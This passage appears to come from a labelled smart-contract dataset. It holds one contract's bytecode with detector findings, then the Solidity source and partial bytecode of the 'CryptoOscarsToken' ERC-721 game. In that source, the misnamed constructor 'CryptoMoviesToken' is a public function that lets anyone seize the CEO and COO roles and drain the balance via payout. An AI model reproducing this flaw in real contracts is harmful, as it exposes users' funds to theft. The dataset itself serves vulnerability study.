ffffffffffffffffffffffff1681526020019081526020016000205461393290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613081816139ba565b61308b8483613b5f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061310d87613880565b95509550955095509550955061316b87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061320086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061329583600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061332a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613376816139ba565b6133808483613b5f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061340287613880565b95509550955095509550955061346086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134f585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613541816139ba565b61354b8483613b5f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a549050600069d3c21bcecceda1000000905060005b6009805490508110156138335782600260006009848154811061360a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136f1575081600360006009848154811061368957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561371057600a5469d3c21bcecceda10000009450945050505061387c565b613799600260006009848154811061372457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138e890919063ffffffff16565b925061382460036000600984815481106137af57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138e890919063ffffffff16565b915080806001019150506135eb565b5061385369d3c21bcecceda1000000600a5461286690919063ffffffff16565b82101561387357600a5469d3c21bcecceda100000093509350505061387c565b81819350935050505b9091565b600080600080600080600080600061389d8a600c54600d54613b99565b92509250925060006138ad612b07565b905060008060006138c08e878787613c2f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061392a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122b7565b905092915050565b6000808284019050838110156139b0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139c4612b07565b905060006139db82846127e090919063ffffffff16565b9050613a2f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b5a57613b1683600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393290919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b7482600a546138e890919063ffffffff16565b600a81905550613b8f81600b5461393290919063ffffffff16565b600b819055505050565b600080600080613bc56064613bb7888a6127e090919063ffffffff16565b61286690919063ffffffff16565b90506000613bef6064613be1888b6127e090919063ffffffff16565b61286690919063ffffffff16565b90506000613c1882613c0a858c6138e890919063ffffffff16565b6138e890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c4885896127e090919063ffffffff16565b90506000613c5f86896127e090919063ffffffff16565b90506000613c7687896127e090919063ffffffff16565b90506000613c9f82613c9185876138e890919063ffffffff16565b6138e890919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122095e8bbdddc80dbe8026ced2faeb7eaa924ac4e407e2a40bf7f0495bfa6d51aea64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,191 |
0xa21c9a3ae47103b1fd1dfa04766c4d00c19e1ff6
|
pragma solidity ^0.4.18; // solhint-disable-line
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <dete@axiomzen.co> (https://github.com/dete)
contract ERC721 {
// Required methods
function approve(address _to, uint256 _tokenId) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint256 _tokenId) public view returns (address addr);
function takeOwnership(uint256 _tokenId) public;
function totalSupply() public view returns (uint256 total);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 tokenId);
// function tokenMetadata(uint256 _tokenId) public view returns (string infoUrl);
}
contract CryptoOscarsToken is ERC721 {
/*** EVENTS ***/
/// @dev The Birth event is fired whenever a new movie comes into existence.
event Birth(uint256 tokenId, string name, address owner);
/// @dev The TokenSold event is fired whenever a token is sold.
event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, string name);
/// @dev Transfer event as defined in current draft of ERC721.
/// ownership is assigned, including births.
event Transfer(address from, address to, uint256 tokenId);
/*** CONSTANTS ***/
/// @notice Name and symbol of the non fungible token, as defined in ERC721.
string public constant NAME = "CryptoOscars"; // solhint-disable-line
string public constant SYMBOL = "CryptoOscarsToken"; // solhint-disable-line
uint256 private startingPrice = 0.001 ether;
uint256 private constant PROMO_CREATION_LIMIT = 20000;
/*** STORAGE ***/
/// @dev A mapping from movie IDs to the address that owns them. All movies have
/// some valid owner address.
mapping (uint256 => address) public movieIndexToOwner;
// @dev A mapping from owner address to count of tokens that address owns.
// Used internally inside balanceOf() to resolve ownership count.
mapping (address => uint256) private ownershipTokenCount;
/// @dev A mapping from MovieIDs to an address that has been approved to call
/// transferFrom(). Each Movie can only have one approved address for transfer
/// at any time. A zero value means no approval is outstanding.
mapping (uint256 => address) public movieIndexToApproved;
// @dev A mapping from MovieIDs to the price of the token.
mapping (uint256 => uint256) private movieIndexToPrice;
// The addresses of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
address public cooAddress;
uint256 public promoCreatedCount;
/*** DATATYPES ***/
struct Movie {
string name;
}
Movie[] private movies;
/*** ACCESS MODIFIERS ***/
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
/// Access modifier for contract owner only functionality
modifier onlyCLevel() {
require(
msg.sender == ceoAddress ||
msg.sender == cooAddress
);
_;
}
/*** CONSTRUCTOR ***/
function CryptoMoviesToken() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
/*** PUBLIC FUNCTIONS ***/
/// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom().
/// @param _to The address to be granted transfer approval. Pass address(0) to
/// clear all approvals.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function approve(address _to, uint256 _tokenId) public {
// Caller must own token.
require(_owns(msg.sender, _tokenId));
movieIndexToApproved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
/// For querying balance of a particular account
/// @param _owner The address for balance query
/// @dev Required for ERC-721 compliance.
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
/// @dev Creates a new promo Movie with the given name, with given _price and assignes it to an address.
function createPromoMovie(address _owner, string _name, uint256 _price) public onlyCOO {
require(promoCreatedCount < PROMO_CREATION_LIMIT);
address movieOwner = _owner;
if (movieOwner == address(0)) {
movieOwner = cooAddress;
}
if (_price <= 0) {
_price = startingPrice;
}
promoCreatedCount++;
_createMovie(_name, movieOwner, _price);
}
/// @dev Creates a new Movie with the given name.
function createContractMovie(string _name) public onlyCOO {
_createMovie(_name, address(this), startingPrice);
}
/// @notice Returns all the relevant information about a specific movie.
/// @param _tokenId The tokenId of the movie of interest.
function getMovie(uint256 _tokenId) public view returns (
string movieName,
uint256 sellingPrice,
address owner
) {
Movie storage movie = movies[_tokenId];
movieName = movie.name;
sellingPrice = movieIndexToPrice[_tokenId];
owner = movieIndexToOwner[_tokenId];
}
function implementsERC721() public pure returns (bool) {
return true;
}
/// @dev Required for ERC-721 compliance.
function name() public pure returns (string) {
return NAME;
}
/// For querying owner of token
/// @param _tokenId The tokenID for owner inquiry
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId)
public
view
returns (address owner)
{
owner = movieIndexToOwner[_tokenId];
require(owner != address(0));
}
function payout(address _to) public onlyCLevel {
_payout(_to);
}
// Allows someone to send ether and obtain the token
function purchase(uint256 _tokenId) public payable {
address oldOwner = movieIndexToOwner[_tokenId];
address newOwner = msg.sender;
uint256 sellingPrice = movieIndexToPrice[_tokenId];
// Making sure token owner is not sending to self
require(oldOwner != newOwner);
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure sent amount is greater than or equal to the sellingPrice
require(msg.value >= sellingPrice);
uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 80), 100));
uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);
// Update prices
movieIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 150), 80);
_transfer(oldOwner, newOwner, _tokenId);
// Pay previous tokenOwner if owner is not contract
if (oldOwner != address(this)) {
oldOwner.transfer(payment);
}
TokenSold(_tokenId, sellingPrice, movieIndexToPrice[_tokenId], oldOwner, newOwner, movies[_tokenId].name);
msg.sender.transfer(purchaseExcess);
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
return movieIndexToPrice[_tokenId];
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current COO.
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
/// @dev Required for ERC-721 compliance.
function symbol() public pure returns (string) {
return SYMBOL;
}
/// @notice Allow pre-approved user to take ownership of a token
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function takeOwnership(uint256 _tokenId) public {
address newOwner = msg.sender;
address oldOwner = movieIndexToOwner[_tokenId];
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure transfer is approved
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
/// @param _owner The owner whose cryptomovie tokens we are interested in.
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
/// expensive (it walks the entire Movies array looking for movies belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalMovies = totalSupply();
uint256 resultIndex = 0;
uint256 movieId;
for (movieId = 0; movieId <= totalMovies; movieId++) {
if (movieIndexToOwner[movieId] == _owner) {
result[resultIndex] = movieId;
resultIndex++;
}
}
return result;
}
}
/// For querying totalSupply of token
/// @dev Required for ERC-721 compliance.
function totalSupply() public view returns (uint256 total) {
return movies.length;
}
/// Owner initates the transfer of the token to another account
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transfer(address _to, uint256 _tokenId) public {
require(_owns(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _tokenId);
}
/// Third-party initiates transfer of token from address _from to address _to
/// @param _from The address for the token to be transferred from.
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transferFrom(address _from, address _to, uint256 _tokenId) public {
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
/*** PRIVATE FUNCTIONS ***/
/// Safety check on _to address to prevent against an unexpected 0x0 default.
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
/// For checking approval of transfer for address _to
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return movieIndexToApproved[_tokenId] == _to;
}
/// For creating Movie
function _createMovie(string _name, address _owner, uint256 _price) private {
Movie memory _movie = Movie({
name: _name
});
uint256 newMovieId = movies.push(_movie) - 1;
// It's probably never going to happen, 4 billion tokens are A LOT, but
// let's just be 100% sure we never let this happen.
require(newMovieId == uint256(uint32(newMovieId)));
Birth(newMovieId, _name, _owner);
movieIndexToPrice[newMovieId] = _price;
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(address(0), _owner, newMovieId);
}
/// Check for token ownership
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == movieIndexToOwner[_tokenId];
}
/// For paying out balance on contract
function _payout(address _to) private {
if (_to == address(0)) {
ceoAddress.transfer(this.balance);
} else {
_to.transfer(this.balance);
}
}
/// @dev Assigns ownership of a specific Movie to an address.
function _transfer(address _from, address _to, uint256 _tokenId) private {
// Since the number of movies is capped to 2^32 we can't overflow this
ownershipTokenCount[_to]++;
// transfer ownership
movieIndexToOwner[_tokenId] = _to;
// When creating new movies _from is 0x0, but we can't account that address.
if (_from != address(0)) {
ownershipTokenCount[_from]--;
// clear any previously approved ownership exchange
delete movieIndexToApproved[_tokenId];
}
// Emit the transfer event.
Transfer(_from, _to, _tokenId);
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x60606040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305e455461461016457806306fdde031461018d578063095ea7b31461021b5780630a0f81681461025d5780630b7e9c44146102b25780631051db34146102eb5780631260a78014610318578063179ffe761461037b57806318160ddd1461045157806323b872dd1461047a57806327d7874c146104db5780632ba73c1514610514578063530471541461054d578063608716ad146105d25780636352211e146105e757806370a082311461064a5780638462151c146106975780639091f97c1461072557806395d89b41146107885780639db09a0814610816578063a3f4df7e14610873578063a9059cbb14610901578063b047fb5014610943578063b2e6ceeb14610998578063b9186d7d146109bb578063efef39a1146109f2578063f76f8d7814610a0a575b600080fd5b341561016f57600080fd5b610177610a98565b6040518082815260200191505060405180910390f35b341561019857600080fd5b6101a0610a9e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101e05780820151818401526020810190506101c5565b50505050905090810190601f16801561020d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561022657600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ae1565b005b341561026857600080fd5b610270610bb1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102bd57600080fd5b6102e9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610bd7565b005b34156102f657600080fd5b6102fe610c97565b604051808215151515815260200191505060405180910390f35b341561032357600080fd5b6103396004808035906020019091905050610ca0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561038657600080fd5b61039c6004808035906020019091905050610cd3565b60405180806020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825285818151815260200191508051906020019080838360005b838110156104145780820151818401526020810190506103f9565b50505050905090810190601f1680156104415780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b341561045c57600080fd5b610464610def565b6040518082815260200191505060405180910390f35b341561048557600080fd5b6104d9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610dfc565b005b34156104e657600080fd5b610512600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e4a565b005b341561051f57600080fd5b61054b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f26565b005b341561055857600080fd5b6105d0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091908035906020019091905050611002565b005b34156105dd57600080fd5b6105e5611103565b005b34156105f257600080fd5b6106086004808035906020019091905050611187565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561065557600080fd5b610681600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611200565b6040518082815260200191505060405180910390f35b34156106a257600080fd5b6106ce600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611249565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156107115780820151818401526020810190506106f6565b505050509050019250505060405180910390f35b341561073057600080fd5b6107466004808035906020019091905050611380565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561079357600080fd5b61079b6113b3565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107db5780820151818401526020810190506107c0565b50505050905090810190601f1680156108085780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561082157600080fd5b610871600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506113f6565b005b341561087e57600080fd5b610886611462565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108c65780820151818401526020810190506108ab565b50505050905090810190601f1680156108f35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561090c57600080fd5b610941600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061149b565b005b341561094e57600080fd5b6109566114d3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156109a357600080fd5b6109b960048080359060200190919050506114f9565b005b34156109c657600080fd5b6109dc600480803590602001909190505061156e565b6040518082815260200191505060405180910390f35b610a08600480803590602001909190505061158b565b005b3415610a1557600080fd5b610a1d6118bf565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a5d578082015181840152602081019050610a42565b50505050905090810190601f168015610a8a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b60075481565b610aa6611f06565b6040805190810160405280600c81526020017f43727970746f4f73636172730000000000000000000000000000000000000000815250905090565b610aeb33826118f8565b1515610af657600080fd5b816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c805750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610c8b57600080fd5b610c9481611964565b50565b60006001905090565b60016020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610cdb611f06565b6000806000600885815481101515610cef57fe5b90600052602060002090019050806000018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d945780601f10610d6957610100808354040283529160200191610d94565b820191906000526020600020905b815481529060010190602001808311610d7757829003601f168201915b50505050509350600460008681526020019081526020016000205492506001600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150509193909250565b6000600880549050905090565b610e0683826118f8565b1515610e1157600080fd5b610e1b8282611a72565b1515610e2657600080fd5b610e2f82611ade565b1515610e3a57600080fd5b610e45838383611b17565b505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ea657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610ee257600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f8257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610fbe57600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561106057600080fd5b614e2060075410151561107257600080fd5b839050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110d057600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b6000821115156110e05760005491505b6007600081548092919060010191905055506110fd838284611d19565b50505050565b33600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006001600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156111fb57600080fd5b919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611251611f1a565b600061125b611f1a565b600080600061126987611200565b9450600085141561129b5760006040518059106112835750595b90808252806020026020018201604052509550611376565b846040518059106112a95750595b908082528060200260200182016040525093506112c4610def565b925060009150600090505b8281111515611372578673ffffffffffffffffffffffffffffffffffffffff166001600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156113655780848381518110151561134e57fe5b906020019060200201818152505081806001019250505b80806001019150506112cf565b8395505b5050505050919050565b60036020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6113bb611f06565b6040805190810160405280601181526020017f43727970746f4f7363617273546f6b656e000000000000000000000000000000815250905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561145257600080fd5b61145f8130600054611d19565b50565b6040805190810160405280600c81526020017f43727970746f4f7363617273000000000000000000000000000000000000000081525081565b6114a533826118f8565b15156114b057600080fd5b6114b982611ade565b15156114c457600080fd5b6114cf338383611b17565b5050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000803391506001600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905061153e82611ade565b151561154957600080fd5b6115538284611a72565b151561155e57600080fd5b611569818385611b17565b505050565b600060046000838152602001908152602001600020549050919050565b60008060008060006001600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169450339350600460008781526020019081526020016000205492508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415151561161d57600080fd5b61162684611ade565b151561163157600080fd5b82341015151561164057600080fd5b61165561164e846050611e97565b6064611ed2565b91506116613484611eed565b9050611678611671846096611e97565b6050611ed2565b600460008881526020019081526020016000208190555061169a858588611b17565b3073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141515611710578473ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050151561170f57600080fd5b5b7e8201e7bcbf010c2c07de59d6e97cb7e3cf67a46125c49cbc89b9d2cde1f48f8684600460008a815260200190815260200160002054888860088c81548110151561175757fe5b9060005260206000209001600001604051808781526020018681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001806020018281038252838181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156118645780601f1061183957610100808354040283529160200191611864565b820191906000526020600020905b81548152906001019060200180831161184757829003601f168201915b505097505050505050505060405180910390a13373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156118b757600080fd5b505050505050565b6040805190810160405280601181526020017f43727970746f4f7363617273546f6b656e00000000000000000000000000000081525081565b60006001600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a1757600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515611a1257600080fd5b611a6f565b8073ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515611a6e57600080fd5b5b50565b60008273ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffff